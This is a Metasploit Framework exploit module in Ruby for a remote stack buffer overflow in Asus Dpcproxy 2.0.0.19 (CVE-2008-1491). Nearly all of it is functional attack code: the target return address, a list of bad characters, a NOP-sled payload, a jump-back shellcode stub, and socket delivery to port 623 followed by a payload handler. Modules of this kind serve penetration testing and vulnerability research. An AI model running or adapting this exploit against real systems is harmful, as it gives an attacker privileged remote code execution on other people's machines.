Asus Dpcproxy - Remote Buffer Overflow (Metasploit)

##
# $Id: asus_dpcproxy_overflow.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Asus Dpcproxy Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
					It should be vulnerable until version 2.0.0.24.
					Credit to Luigi Auriemma
			},
			'Author'         => 'Jacopo Cervini',
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2008-1491' ],
					[ 'OSVDB', '43638' ],
					[ 'BID', '28394' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 21 2008'))

		register_options([Opt::RPORT(623)], self.class)

	end

	def exploit
		connect

		sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
		sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
		sploit << make_nops(50)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		select(nil,nil,nil,3) # =(

		handler
		disconnect
	end

end